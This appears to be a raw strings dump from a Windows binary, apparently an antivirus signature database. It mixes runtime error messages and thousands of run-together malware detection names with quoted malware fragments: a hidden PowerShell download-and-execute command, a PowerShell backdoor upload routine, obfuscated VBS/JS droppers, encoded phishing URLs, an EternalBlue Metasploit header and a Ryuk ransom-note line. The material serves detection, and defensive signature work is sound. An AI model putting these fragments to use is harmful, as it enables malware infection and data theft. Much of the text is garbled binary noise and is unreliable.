environment R6008  - not enough space for arguments R6002  - floating point not loaded Microsoft Visual C++ Runtime Library Runtime Error!  Program:  e+000runtime error TLOSS error                                 
Program: ...<program name unknown>  (8PX 50P (8PX ppxxxx `h````ppxxxx frexp _hypot _cabs ldexp (null)
(null)_yn_y1_y0frexpfmod_hypot_cabsldexpmodffabsfloorceiltancossinsqrtatan2atanacosasintanhcoshsinhlog10logpowexp 1#QNAN 1#INF 1#IND 1#SNAN 
GetLastActivePopupGetActiveWindowMessageBoxAuser32.dll1#QNAN1#INF1#IND1#SNAN @Qm6t F\\Software\\VB and VBA Program Settings\\oeS Ss_^[ A@QPV   2 c&0k               k%31                                       
@(>  jXG   jXG   jX(?   @(>  b` + 0.T\t +:  \t +3 .{\t + o\t &\t (   h o\t &\t       H (     %s  F  BGHu y  n  POST    $ C 7# $ +  \t  )   Y 1  C]In k|> . Y( wAs @Dd ! x^3 \\K\\^  \tvG{ K@ 2 &([ }| +` 0rV E  u{-n dW 3^\t 
JBQG W ) M$M L_ i(1;                                                 DEF@                    iset  fset  xset  tset  eset             )9  );?>   i dfA S-
=RPF:MeterpreterClassifierA:98RPF:MeterpreterClassifierALua:MsilMpAttributeMLAGGR:Tobeet_Msil_5C5C1FF3SIGATTR:MSIL/LoadPEBase64.JHSTR:Tobeet_Msil_26D8E416HSTR:Tobeet_Msil_
0084C89CHSTR:Tobeet_Msil_B3EBDC8BHSTR:MSIL/Obfuscator.DotNetPatcher.AHSTR:Tobeet_Msil_96837E23HSTR:SoftwareBundler:Win32/LoadArcher.A1AGGR:Tobeet_Msil_B194E94AHSTR:T
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obeet_Msil_D942BF00HSTR:Tobeet_313430A6HSTR:Maruo_exceptionAGGR:Tobeet_Msil_FC233178SIGATTR:Trojan:MSIL/Kryptik.AAR!emlHSTR:Tobeet_Msil_DC4AA089SIGA:MSIL/Suspicious.P
acker.S1PEPCODE:Worm:Win32/Conficker.BHSTR:Tobeet_Msil_92640FCBHSTR:Tobeet_F160B496RANSMATTR:PeLodPackedFileHSTR:Win32/Exprio.gen!lowfiHSTR:Tobeet_709D9FEAPUA:ML:
Blocked:AutoKMSHSTR:Tobeet_Msil_E7CA121CHSTR:MSIL/PvLogiciels.dotNetProtector.AAGGR:Tobeet_Msil_CD6BE4DAHSTR:AutoAttrMsil_10CDD2ECTrojan:MSIL/MakeShiftTestPEPCODE:Troj
anDropper:Win32/Small.RZSCPT:JS/wp-
content.AHSTR:Tobeet_Msil_545A5F34HSTR:Tobeet_Msil_1B8D0818PEPCODE:Virus:Win32/Virut.AWHSTR:AutoAttrMsil_33B35CFBHSTR:MSIL/Obfuscator.DotBundle.AHSTR:AutoAttrMsil_DF7A6
DF2SIGATTR:MSIL/FileLoad4.JHSTR:RegKey/McAfee.AHSTR:ChkStackNonDwordAlignedReadAGGR:SingleExeInAceHSTR:AutoAttrMsil_34DC6377HSTR:Trojan:Win32/IsDelphiLua:ExecuteSingle
ExportDLL.AHSTR:Tobeet_1803F26DHSTR:Tobeet_Msil_A6710A26HSTR:Tobeet_Msil_F520C34CHSTR:VirTool:MSIL/Obfuscator.AMHSTR:Sopinar.E!stringHSTR:EXC_KingSoftComponentHSTR:T
obeet_0B8D379CHSTR:Call_Pop_Reg32_dynAGGR:Tobeet_Msil_CE9B6515PUA:ML:Blocked:iBryteInstallerHSTR:MinGWFileHSTR:AutoAttrMsil_7EC7412FHSTR:Win32/DelphiFileSIGATTR:importr
esolverHSTR:Tobeet_Msil_AE86A6B2AGGR:Tobeet_Msil_E4F65F9BLowfi:HSTR:ConfuserDecrypterPEPCODE:Virus:Win32/Virut.BNHSTR:NSIS.gen!AVirTool:Win32/CeeInject.gen!KK_markerHSTR:
Tobeet_546F3F32HSTR:Tobeet_Msil_C1072E92TEL:AGGR:Heaple:95!mlHSTR:Tobeet_Msil_B7461033HSTR:Tobeet_Msil_408573FEHSTR:AutoAttrMsil_7E27377FHSTR:Tobeet_65CE53A2HSTR:
VirTool:Win32/Obfuscator.XZAGGR:Tobeet_Msil_5D6D47C7HSTR:Tobeet_25DE9A11HSTR:Tobeet_Msil_81BF013DHSTR:Tobeet_5AE3F42BAGGR:Tobeet_Msil_7B3D6F74AGGR:Tobeet_Msil_9D
38F64DTEL:Context/Artoelo.gen!BHSTR:Tobeet_Msil_83A3BBBBHSTR:Tobeet_Msil_56BC5B99HSTR:Tobeet_Msil_7FCA3D89HSTR:VirTool:MSIL/GeneralPacker.S09HSTR:Base64encryptedAVTE
L:EnableTaskMgr!msilLUA:SetCloudDeliveredAttributesHSTR:AutoAttrMsil_F23C104CSIGA:TrojanSpy:MSIL/Stealer.S5HSTR:AutoAttrMsil_4650DF6FLowfi:HSTR:Win32/DomainIQ.DHSTR:Tobeet_M
sil_1204FBADMSILFOP:Worm:MSIL/Autorun.ADHSTR:PossiblyClean:Corecast_Apps.Etic.ModuleName.AHSTR:Tobeet_28552658AGGR:BatFileWithLargeSizeHSTR:Tobeet_Msil_E4FF787EAGGR:T
obeet_Msil_339AF84DAGGR:Tobeet_Msil_034E3D19TEL:AGGR:PowerShell/MSILProcessWithPSrunspaceHSTR:Tobeet_7858D07BHSTR:AutoAttrMsil_09F967D2TEL:MSIL/Cusax.gen!A!SupportAG
GR:Tobeet_Msil_75B3F065HSTR:PeHeaderBase64PEPCODE:Trojan:Win32/Vundo.IBHSTR:Tobeet_Msil_EF5C220CTEL:Trojan:MSIL/MakeShiftTestPUA:BundlerCluster:AutoKMS2AGGR:Tobeet_M
sil_CFB99D7DHSTR:Tobeet_Msil_F3E0126EAGGR:Tobeet_Msil_F3DFB19FSIGATTR:MSIL_UntrustedWinServiceInstaller.CHSTR:Tobeet_Msil_7513810DAGGR:Tobeet_Msil_91EDAAD6HSTR:Tob
eet_Msil_AEA0E892ATTRIBUTE:SIGA:MISL:PossibleCopyToRemovalbe:S1HSTR:Backdoor:Win32/ShinoBot.AHSTR:Tobeet_Msil_689363A3BRUTE:VbsFileExtStringInHeaderSCPT:Exploit:CVE-
2015-
8651.1HSTR:MSIL/LoressoObfus.B!decodeAGGR:Tobeet_Msil_ED9447D6BRUTE:LnkFileExtStringInFooterHSTR:MSIL/Obfuscator.MPRESS.ATEL:KillMsconfig!msilHSTR:Tobeet_A7D13044AGGR:T
obeet_Msil_F88BF6E5pea_lastscn_fakeSCPT:Exploit:O97M/CVE-2017-
11882.CAGGR:Tobeet_Msil_B76B6839HSTR:Tobeet_Msil_1F630E3EHSTR:AutoAttrMsil_FF15F213AGGR:Tobeet_Msil_59045CBFSIGATTR:MSIL_UntrustedWinServiceInstaller.AHSTR:AutoAttrMsil
_4B775CC8HSTR:Tobeet_9198026CHSTR:AutoAttrMsil_82E0A980HSTR:Tobeet_Msil_4D14F8AAHSTR:Tobeet_Msil_D2CAB213HSTR:Tobeet_Msil_39F0DDB1HSTR:AutoAttrMsil_D5C5054FTELP
ER:CERT:SoftwareBundler:Win32/BunpredeltHSTR:AutoAttrMsil_E378F90DAGGR:Tobeet_Msil_A3D9F9E2HSTR:MSIL/Obfuscator.Deepsea.DHSTR:PossiblyClean:Google.ProductName.AAGGR:To
beet_Msil_9D7A5E2FHSTR:KnownMalwareFeature!SelfDeleteBRUTE:LnkFileExtStringInHeaderHSTR:Tobeet_990851FDHSTR:Tobeet_Msil_33EE8FD0AGGR:Tobeet_Msil_9D79293ERANSMATTR:
PeLodObfusUrHSTR:TrojanDownloader:MSIL/SupdatHSTR:Tobeet_Msil_EDFD1336AGGR:Tobeet_Msil_462F4141HSTR:Tobeet_Msil_1804421BHSTR:Tobeet_Msil_93278DF3HSTR:Tobeet_Msil_C
4D2561DHSTR:Tobeet_Msil_92EE92FFAGGR:Tobeet_Msil_67260B70HSTR:Tobeet_Msil_77F83911SIGATTR:ScriptInvoke!msilHSTR:Tobeet_6DAB979FTEL:Tisifi.BHSTR:AutoAttrMsil_D14E10B0H
STR:VirTool:Win32/Obfuscator.PN.1AGGR:Tobeet_Msil_DC3C1180SCPT:Exploit:O97M/CVE-2017-
11882.AHSTR:VBInject.MetalSIGATTR:MSIL_UntrustedWinService.AHSTR:AutoAttrMsil_9178888EHSTR:Tobeet_Msil_C92B42E3HSTR:Tobeet_Msil_95F6DE94HSTR:MSIL/Obfuscator.CodeFort.AH
STR:Tobeet_Msil_AF7F75C7AGGR:Tobeet_Msil_CCA744D8HSTR:AutoAttrMsil_974CA641HSTR:SMA.ScriptInvoke!msilAGGR:Tobeet_Msil_37B77FA3AGGR:Tobeet_Msil_ED4BC131HSTR:MSIL/O
bfuscator.Deepsea.BAGGR:Tobeet_Msil_306CC9E1HSTR:Tobeet_134C4901HSTR:VirTool:Win32/VBInject.gen!AN.2HSTR:AutoAttrMsil_EA80A033HSTR:Tobeet_Msil_919C0B87HSTR:Tobeet_Msil_
794F35CDTEL:Context/Artoelo.B!suspiciousAGGR:Tobeet_Msil_560514D6SIGATTR:MSIL/FileLoad.JHSTR:Win32/SteamEncrypted.AHSTR:Trojan:Win32/Bublik.AHSTR:MSIL/GenDecnryptAlgo.S02
HSTR:MSIL/ConfuserRANSMATTR:PeLodSuspDosHdrAGGR:Tobeet_Msil_4B2A1EA3HSTR:Tobeet_930AA243HSTR:Tobeet_Msil_4518E09CHSTR:Trojan:Win32/Vundo.gen!D.4TEL:CloudSuspiciou
s_High_NewFileVirTool:MSIL/Obfuscator.AOSIGATTR:DropMZHSTR:Tobeet_Msil_F2A48A48Exploit:Win32/Wintuds.B.1HSTR:Tobeet_Msil_52F71838HSTR:PWS:Win32/Sinowal.gen!Y.3HSTR:Tobee
t_85D7E005HSTR:Tobeet_Msil_BD912DE7HSTR:Tobeet_221EF57DAGGR:HSTR:Win32/PossibleKeylogger.BHSTR:VirTool:Win32/Obfuscator.EWHSTR:AutoAttrMsil_4B900A49BRUTE:Exploit:Pyth
on/CVE-2017-0143.14SIGATTR:DelAppDataAGGR:Tobeet_Msil_81D480F2BRUTE:Exploit:Python/CVE-2017-
0143.15HSTR:Tobeet_250749D2HSTR:VirTool:MSIL/Obfuscator.SpicesNET.AHSTR:Win32/PossibleKeylogger.B3BRUTE:Exploit:Python/CVE-2017-
0143.13HSTR:Obfuscator.Split.APIName.CBRUTE:Exploit:Python/CVE-2017-
0143.12VirTool:MSIL/Obfuscator.AOHSTR:Library.Ghostscript.CHSTR:Tobeet_Msil_D43E88CBHSTR:Tobeet_4C3E1692HSTR:Tobeet_Msil_FFC22D1EAGGR:Tobeet_Msil_A65614AEHSTR:Tobeet_
Msil_FD10E7D0HSTR:Tobeet_A1C80242HSTR:Tobeet_Msil_EEF6A330SIGATTR:MSIL/SuspSeq1.JHSTR:Win32/PossibleKeylogger.C1ATTRIBUTE:SIGA:MISL:PossibleDelFiles:S1CONTEXT:PUA:I
nstallContextMet:AttrHSTR:Tobeet_Msil_EE950FA6HSTR:Tobeet_Msil_9E2C9BCCSCPT:JS/Assignment.CharString.BInDecodedScriptSigHSTR:Tobeet_Msil_ACD443F4HSTR:Tobeet_3630D6EAHS
TR:Tobeet_Msil_0BD8DC28HSTR:Language.French.AAGGR:HSTR:MSIL/PossibleKeylogger.CHSTR:VirTool:MSIL/BSOD.CheckingHSTR:AutoAttrMsil_C56CC87CGenericWhitelistHSTR:Tobeet_Msil
_B92F0590AGGR:Tobeet_Msil_7236E935HSTR:AutoAttrMsil_6C630DDEBRUTE:VbsFileExtStringInFooterHSTR:Tobeet_Msil_8EC5F325HSTR:AutoAttrMsil_FD9AD31CHSTR:Tobeet_F55B09A1PE
PCODE:HasDigitalSignatureHSTR:Win32/HostEXE.ALoD:Lua:PossibleShellterHSTR:HasSEHSIGATTR:PossibleURLAccessHSTR:MSIL/Obfuscator.CryptoObfuscator.BHSTR:Tobeet_Msil_8D02EAB
7AGGR:Tobeet_Msil_48B84EE7AGGR:Tobeet_Msil_ADC2DD51HSTR:Win32/MipkoRANSMATTR:PeLodPackerSigMatHSTR:Tobeet_Msil_440651E5AGGR:Tobeet_Msil_E3BE96A9AGGR:Tobeet_M
sil_43455B0EAGGR:Tobeet_Msil_FBFE98BCSIGATTR:VirTool:MSIL/Injector.gen!YHSTR:Tobeet_Msil_47AB4E48SIGATTR:MSIL/AVChkAGGR:Tobeet_Msil_2BB193B7HSTR:MultiBancosHSTR:Erro
rMsg.AHSTR:Tobeet_C8804A3CSCRIPT:OLE.EmbeddedURL.EXESCPT:TemplateDocx.AATTRIBUTE:SIGA:Trojan:MSIL/FakeApp.S001HSTR:AutoAttrMsil_0B90B371HSTR:Tobeet_33BEBF82HST
R:Tobeet_Msil_3745F3D5HSTR:Tobeet_D9213447AGGR:Lua:MSIL:FrameworkV4HSTR:VirTool:MSIL/NetInject.APEBMPAT:DamagedPEHSTR:Virus:Win32/Virut.BNHSTR:Tobeet_33790CEEHSTR:
Tobeet_588647F2HSTR:Tobeet_Msil_4EF58649HSTR:PossiblyClean:Win32/JMJ.CompanyName.AHSTR:Tobeet_Msil_38812CE1HSTR:Tobeet_60DF32E6HSTR:Tobeet_Msil_4E7CDC1DHSTR:Wizr
em.X1.PrintHelperUtilityHSTR:Tobeet_Msil_499B1CA5AGGR:WebMailHSTR:Tobeet_9E67C985AGGR:Tobeet_Msil_21266A10AGGR:Tobeet_Msil_FE0927A3AGGR:Tobeet_Msil_D5715E87Lua:Pua
SubstringAttributeMatchedHSTR:Tobeet_4ED50E75SIGATTR:ILProtectorHSTR:Tobeet_Msil_EE2738FAHSTR:UpxPacked.AAGGR:Tobeet_Msil_B189FC61ATTRIBUTE:Suspicious:MSIL:GmailSendT
xt.A!bitSCPT:JS/Assignment.CharString.AHSTR:Tobeet_Msil_A73192F9HSTR:Tobeet_Msil_A364CADFAGGR:Lua:MSIL:UnknownFrameworkVersionHSTR:Tobeet_Msil_150B5DF7HSTR:Tobeet_Msil
_496D4298HSTR:Tobeet_F7963682AGGR:Tobeet_Msil_4A968A97HSTR:MSIL/Malicious.Decryption.AHSTR:AutoAttrMsil_869F9627HSTR:Tobeet_Msil_7DAADFB9AGGR:Tobeet_Msil_476EF7E1H
STR:AutoAttrMsil_23618351HSTR:Tobeet_Msil_2D62B3D3AGGR:Tobeet_Msil_165C791CHSTR:Tobeet_407BB6B0HSTR:MSIL/Obfuscator.SmartAssembly.CHSTR:Tobeet_Msil_A3F76B9CHSTR:To
beet_Msil_8B76F10AHSTR:Tobeet_Msil_EF8DF95EHSTR:Trojan:Win32/Vundo.gen!BD.2HSTR:MSIL/Obfuscator.DotNETReactor.AHSTR:AutoAttrMsil_E874F0DBAGGR:Tobeet_Msil_909CF9B3HST
R:Win32/SecurityCenter.AAGGR:Tobeet_Msil_5E82314EHSTR:Tobeet_Msil_B3344C1DHSTR:AutoAttrMsil_35DD14ECHSTR:Tobeet_Msil_2DF535FEHSTR:Tobeet_Msil_E8EECC91HSTR:Tobeet_M
sil_3258A526AGGR:Tobeet_Msil_85E31AF3HSTR:Tobeet_Msil_B1EA3F66SIGA:TrojanSpy:MSIL/Keylogger.BZHSTR:AutoAttrMsil_20A9FBF6HSTR:Win32/PossibleBankerHSTR:VirTool:MSIL/Obfus
cator.S06HSTR:Tobeet_Msil_2CD7415FHSTR:Websites_Found_Download_Bladabindi_BHSTR:Tobeet_D80300B4HSTR:MSIL/Obfuscator.Confuser.CSIGATTR:RunKey!msilHSTR:ML:Win32/Banloa
d_BFL_FOLDERAGGR:Tobeet_Msil_33F287C8AGGR:Tobeet_Msil_F74E1FACHSTR:Tobeet_0D7C2009AGGR:Tobeet_Msil_F3E44878PEPCODE:Trojan:Win32/Vundo.JC.dllHSTR:Tobeet_Msil_B96
FA3FFVirTool:MSIL/ToolchkAGGR:Tobeet_Msil_D7DF9230AGGR:Tobeet_Msil_EA827B9BAGGR:Tobeet_Msil_4E74E379AGGR:Tobeet_Msil_5D3187D8HSTR:Tobeet_98D81B9CHSTR:AutoAttrMsil
_939FC773HSTR:AutoAttrMsil_CE5BBEAEHSTR:Tobeet_Msil_1DA7EA5AAGGR:Tobeet_Msil_F4AA4C5EAGGR:Tobeet_Msil_D9AAA802HSTR:Tobeet_Msil_0F547466AGGR:Tobeet_Msil_9EDEF1
AFHSTR:Tobeet_Msil_33901747HSTR:Tobeet_AF7A27D8HSTR:Tobeet_Msil_BD9FDBC2HSTR:Tobeet_3560ADB8AGGR:Tobeet_Msil_4469FCE6HSTR:Tobeet_Msil_CD3D81BDAGGR:Tobeet_Msil
_B46C56D8TEL:SqlConnectDB!msilAGGR:Tobeet_Msil_F5546CADHSTR:MFCFileAGGR:Tobeet_Msil_22AA1440HSTR:AutoAttrMsil_E2703509AGGR:Tobeet_Msil_F5638B71AGGR:Tobeet_Msil_A1
E2B706AGGR:Tobeet_Msil_951C3159SIGATTR:MSIL_UntrustedWinServiceInstaller.BHSTR:Tobeet_Msil_AFD867A4AGGR:Tobeet_Msil_0DB328BFHSTR:AutoAttrMsil_6B222062HSTR:Win32/FS18
.StackBase.ALowfi:HSTR:Win32/Solimba.BHSTR:TrojanDownloader:MSIL/Pstinb.AAGGR:Tobeet_Msil_DD7CF9CDHSTR:MSIL/NameSpace.CompilerServices.AHSTR:PossibleDownloader.AHSTR:T
obeet_Msil_545CC12DAGGR:Tobeet_Msil_C2CEB60DAllowList:Aggr/Fuerboos.AHSTR:FMAuditInstallerRANSMATTR:PeLodNoExceptionHSTR:Zwangi_NamesHSTR:AutoAttrMsil_4493F337HSTR:T
obeet_Msil_5A4072D2HSTR:Tobeet_Msil_551230B0HSTR:VirTool:Win32/VBInject.RT.1HSTR:URL:tempuri.org.AHSTR:Tobeet_DFE2334CHSTR:Tobeet_EB264A5CHSTR:Tobeet_17A16FD2AGGR:
Tobeet_Msil_27187C07ATTRIBUTE:SIGA:MISL:RunKeySet:S1HSTR:Tobeet_Msil_B206EEB3HSTR:Tobeet_55EADFD7Exploit:O97M/DDEDownloader.D5AGGR:Tobeet_Msil_4E8D0A83HSTR:MSIL/
ClassRijndaelManaged.ASIGATTR:VirTool:MSIL/Injector.SC!bitFOP:Win32/Nuwar.unsafeMS08067_DIRTRAVERSALAGGR:Tobeet_Msil_1B65054DHSTR:Tobeet_Msil_9331117DHSTR:Tobeet_Msil_
B9F864EBHSTR:Exploit:MSIL/SivliatAllowList:Citrix:LauncherStubHSTR:Tobeet_Msil_95AF063DHSTR:MSIL/PossibleKeylogger.A5HSTR:TrojanDownloader:Win32/Banload.gen!F.2SIGATTR:SMA.Sc
riptInvoke!msilHSTR:MSIL/Class.UriBuilder.AAGGR:Tobeet_Msil_D5058380HSTR:Tobeet_DE18E8FAHSTR:AutoAttrMsil_3C4F69E2HSTR:Tobeet_Msil_F5634504HSTR:Win32/Domain.BRLowfi:HST
R:Win32/AgileDotNetObfuscatordo_nounpack_rescanRANSMATTR:PeLodNoExportsATTRIBUTE:SIGA:TrojanDownloader:MSIL/Genmaldow.S14Exploit:Win32/Wintuds.B.3ATTRIBUTE:SIGA:MSIL:E
MAIL:S1HSTR:AutoAttrMsil_70780AE9AGGR:Tobeet_Msil_697F93B7HSTR:AutoAttrMsil_754C6246AGGR:Tobeet_Msil_12E118B5AGGR:Tobeet_Msil_4DB51E0CHSTR:AutoAttrMsil_6A753B13AGG
R:Tobeet_Msil_5018F61FHSTR:LZMA_CRC32_CONST_TABLEHSTR:Tobeet_Msil_3D8A0EE2HSTR:AutoAttrMsil_93B7577FLowfi:HSTR:Win32/PullUpdateHSTR:MSIL/PossibleKeylogger.A3HSTR:
Tobeet_Msil_E076BF4AHSTR:Virtool:KillavHSTR:Tobeet_Msil_E872EC6EHSTR:TrojanDownloader:Win32/Wintrim.BFLUA:MissingDigitalSignatureHSTR:Tobeet_Msil_3B1E4824AGGR:Tobeet_Msil_
A74BB38FTrojan:MSIL/BlackFus.BTEL:KillExplorer!msilHSTR:AutoAttrMsil_1F6F7011AGGR:Trojan:MSIL/InjGen.J!ibtHSTR:AutoAttrMsil_C34C6E12HSTR:Win32/PossibleKeylogger.A2AGGR:Tobeet
_Msil_7ECD5743AGGR:Tobeet_Msil_97C8BBB3AGGR:SingleExeInArchivePUA:FileHSTR:Tobeet_Msil_8A952C9BHSTR:Tobeet_Msil_F96CC401SIGA:MSIL/Suspicious.CreateRunKey.AHSTR:Instal
lerFileHSTR:AutoAttrMsil_0CAEB229HSTR:Wuvsked.A2AGGR:Tobeet_Msil_5AC26183HSTR:AutoAttrMsil_E872EC6EHSTR:Tobeet_FFF59FFCATTRIBUTE:SIGA:MSIL:EMAIL:Behavior:S1HSTR:To
beet_Msil_F27CAD14HSTR:Tobeet_Msil_97B129F9AGGR:Tobeet_Msil_FAB66F1BHSTR:AutoAttrMsil_3531EC7EAGGR:Tobeet_Msil_120C0F0EHSTR:Tobeet_Msil_1698F25DHSTR:AutoAttrMsil_D
D5EA684PUA:ML:Blocked:LinkuryHSTR:Tobeet_Msil_08304DE3HSTR:AutoAttrMsil_59393B60HSTR:Tobeet_B2E35A87AGGR:Tobeet_Msil_6C5AB82BHSTR:Tobeet_Msil_3AC40B50DOTNET_Rea
ctor_ObfuscatorAGGR:Tobeet_Msil_7E4939BFAGGR:Tobeet_Msil_53B88CC3HSTR:BetterSurfSIGATTR:Trojan:Win32/C2Lop.gen!GHSTR:PossiblyClean:Redgate.RegKey.AHSTR:Virtool:MSIL/Obfu
scator.DNGuardSIGATTR:SetItselfRunKeyMJvAyulA 5@x 5@  @Gq _D @P                       WEB  1   .exe  .gif                             s ?)c 071bq e8 ~P zuD~L _](qvf 9~Bq4 ^4{-P EHZ?w `\"xdy pFAw1  A!#[r` 
d{AJm g{:\t0 v!,A`9 ^+:R+ l\tpHB= y4gUi wrSE6  RzUZ<\" 5[T!gb KIafEP G^P}Y  kA-de~ t}S C& hi{1< VX@iL \"J&K} ia~0T _^bsx N/g1p\\ m8n}\\ sx/Oy X;?bw p1*KP X@Jo-cE YllM\"4 3@Hlc s<. 0 yzIlS 
ER`I6 6-.QS 1dHHl{ +\\>9} Bv! w >O&aI g>MQh k7T!D 5 ,xR1g U~P|b$T wqzl`N (VY]K Cd7Rz tOiny v]Snn ~%#mI GDN|Y u#X$}  mU;Z1 K.e E %Kh\t^l 1i%*G 23456789.exe\\setup  0123456789.exe   
0123456789install  0123456789.exe\\install  0123456789.exenullsoftinstallsystemv2.46setup !#SCPT:Trojan:HTML/Phish.JD2 
url=&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#109;&#97;&#105;&#45;&#49;&#46;&#98;&#117;&#114;&#98;&#101;&#114;&#121;&#46;&#99;&#111;&#47;&#46;&#118;&#109;&#47;&#46;&#118;
&#109;&#47;#y2xpzw50zxnabgv4dxnhdxrvlmvz\"> *!#SCPT:TrojanDownloader:VBS/Powdow.PB3!MTB =\"powershell.exe-exbypass-nop-whidden-
eccqajaakacqajaakacqajaakacqagafmazqbuac0aywbvag4adablag4adaajacaaiaagacaaiaagacaacqatafyaqqajacaaiaaoaakacqagaakaiaajacaacqajaakaiaajaakaiaajac4akaanae4azqana 
0!#SCPT:TrojanDownloader:O97M/EncDoc.IDEA!MTB!ED7 <docsecurity>0</docsecurity><scalecrop>false</scalecrop><headingpairs><vt:vectorsize=\"4\"basetype=\"variant\"><vt:variant>
<vt:lpstr>worksheets</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4> !#SCPT:Schopets.H1 =\".respo createobject(\"wscript\"+\".shell\")endfunction =\"microsoft.xmlhttp \"+\"shell.application 
wscript\"+\".shell `.run .createtextfile @split(replace( .sendendfunction !#SCPT:VBS/Adnel.D0 
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wscript\"+\".shell `.run .createtextfile @split(replace( .sendendfunction !#SCPT:VBS/Adnel.D0 
createobject(\"s\"&chrw(99)&chrw(114)&chrw(105)&\"pt\"&chrw(105)&chrw(110)&chrw(103)&chrw(46)&chrw(70)&chrw(105)&chrw(108)&chrw(101)&chrw(83)&\"ystem\"&chrw(79)&chrw(98)&\"ject\")m=  
.opentextfile(wscript.scriptfullname).readall !#SCPT:JS/Obfuse.RA!MTB 'yur\\x20mil\\x20r\\x20sswrd\\x20is\\x20inrrt.\\x20if\\x20yu\\x20dn\\x27t\\x20rmmbr\\x20yur\\x20sswrd,,
<a\\x20href=\\x22#\\x22>\\x20reset\\x20it\\x20now.<a/>\\x20<br>\\x20<br>\\x20','post',' .ijsiodjfo.ml/index.php?user= 'https://www  /'https://www !#SCPT:Trojan:BAT/Tnega.SMK1 start-sleep-s5;rename-
item-path('%grkd_suciuyzed_s_zshrn_xj_oznks%\\bin.~tmp')-newname('%bkjx_bfctfkdxpmzgj%.~tmp');rename-item-path('%grkd_suciuyzed_s_zshrn_xj_oznks%\\bin.exe')-
newname('%bkjx_bfctfkdxpmzgj%.exe') !#SCPT:Exploit:HTML/Axpergle.E <paramname=\"code\"value=\"globals\"><paramname=\"archive\"value=\"http:// 0\ta-z0-9=_- \ta-z0-9=_-\">
<paramname=\"type\"value=\"application/x-java-applet\"><paramname=\"exteeec\"value=\" a-z0-9=\"></object> \"!#SCPT:Trojan:HTML/Phish.AVZ22!MTB 
2hhcknvzgugpsaky2hhcknvzgugjsakdxruynipid4gmzugpybtdhjpbmcuznjvbunoyxjdb2rlkcrjagfyq29kzsaridi5ksa6icrjagfyq29kzs50b1n0cmluzygznikpo307icagiglmicghjycucmvwbgfjzsgvxi8sifn0cmluzykpih
t3aglszsaojg5ici0tksb7jhl &!#TrojanDropper:AutoIt/Obfusesd2!ptb01 
;k4fxgk80x50#k4fxgkqz5j6146aaz74o3wm9ftdq2qxjg2g;k4fxgkpcpwtnzrw16a9vdj62etx1h#k4fxgk59l5w1v0mnd28u131ru01f28dqnrf9j198m2l#k4fxgk1op87vjwk423502u788m6112hg2n9iywx#k4fxgk5p0
fj05559o276s4mcvxdr0d37077lrzc )!#TEL:Backdoor:PowerShell/Diapowshell!dha try{$_wc=new-objectsystem.net.webclient$_wc.querystring.add(\"id\",$myid)$_wc.headers.add(\"content-
type\",\"text/html\")$_wc.headers.add(\"accept\",\"text/html\")$_rc=$_wc.uploadstring($urlconsole,$theanswer) +!#SCPT:Exploit:O97M/CVE-2017-0199.BKS20!MTB 
target=\"http://0147.0131.0133.0174/..----------------------....................-.....................-/...................................................................wiz\"targetmode=\"external\"/> 
/!#SCPT:TrojanDownloader:O97M/EncDoc.ALS!MTB!AS1 
formula.fill($cm$59854&amp;$br$44143&amp;$bh$54904&amp;$do$756&amp;$ii$29027&amp;$eo$24162&amp;$cu$23382&amp;$gy$40135&amp;$bb$59420&amp;$cg$19922&amp;$ak$20561&am
p;$if$1180&amp;$be$52719&amp;$ 0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAE!MTB!GE8 <si><t>32\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"jipos.hot5782369\")</t></si><si>
<t>32\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"jipos.hot57823691\")</t></si><si><t>32\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"jipos.hot57823692 !#SCPT:PyMS17010.A1 
frommetasploitimportmodulemetadata={'name':'ms17-
010eternalbluesmbremotewindowskernelpoolcorruptionforwin8+','description':'''eternalblueexploitforwindows8,windows10,and2012bysleepyatheexploitmightfailandcrashatargetsystem %pdf-
1.020obj<</kids[30r]/t(topmostsubform[0])>>endobj30obj<</kids[40r]/t(page1[0])>>endobj40obj<</mk<</if<</a[0.01.0]>>>>/ft/btn/ff65536/f4/subtype/widget/type/annot/t(imagefield1[0])/rect[107.385705.
147188.385709.087]>> !#SCRIPT:JS/Shepow!cmd (\"cmd.exe\",\"/cpinglocalhost&powershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient). ('http:// 
`/banner.png','%appdata% .exe');start-process'%appdata% .exe'\",\"\",\"open\",0); jslintmaxerr:50,indent:2,white:true*//*globalwindow*/functionwebworksseealso_object()
{'usestrict';this.msettimeoutid=null;this.fonclickbutton=webworksseealso_onclickbutton;this.fonclicklink=webworksseealso_onclicklink !#SCPT:RansomNote:Ryuk.DB 
assoonaswegetbitcoinsyou'llgetallyourdecrypteddataback.moreoveryouwillgetinstructionshowtoclosetheholeinsecurityandhowtoavoidsuchproblemsinthefuture+wewillrecommendyouspecialsoftwarethat
makesthemostproblemstohackers. !#SCPT:Trojan:JS/Obfuse.PK1 varkey=\"aabbcc F;functionhjkm(_message){  =key.length/2;var_newstring=\"\"; ;for(varx=0;x<_message.length;x++){ 
=key.indexof(_message.charat(x));if( ;_newstring+=key.charat( );}else !#SCPT:HTML/Phishing.ARX!MTB 
%61%64%65%6c%61%73%66%6c%6f%72%65%73%2e%63%6f%6d%2e%61%72%2f%77%70%2d%61%64%6d%69%6e%2f%63%73%73%2f%63%6f%6c%6f%72%73%2f%6d%69%64%6e%69%
67%68%74%2f%72%65%70%6f%72%74%6d%61%65%72%73%6b%2e%70%68%70%22%3e'))</script> 0!#ALF:SCRIPT:TrojanDownloader:Win32/Powsheldow.B 
(\"hkcu:\\console\\%systemroot%_system32_windowspowershell_v1.0_powershell.exe\");  (\"hkcu:\\console\\%systemroot%_system32_svchost.exe\");  (\"hkcu:\\console\\taskeng.exe\");$surl=\"http:// 
/u/?q= 0!#SCPT:TrojanDownloader:O97M/EncDoc.REEA!MTB!EE8 <vt:lpstr>excel4.0macros</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></headingpairs><titlesofparts>
<vt:vectorsize=\"1\"basetype=\"lpstr\"><vt:lpstr>sheet1</vt:lpstr> !#SCPT:EULA/OpenCandy!2 
opencandynetwork(\"we\")toproviderecommendationsofotherthirdpartysoftware.allthirdpartysoftwareparticipatingintheopencandynetworkmustadheretostrictpoliciesthatensureonlycompliantsoftwareisreco
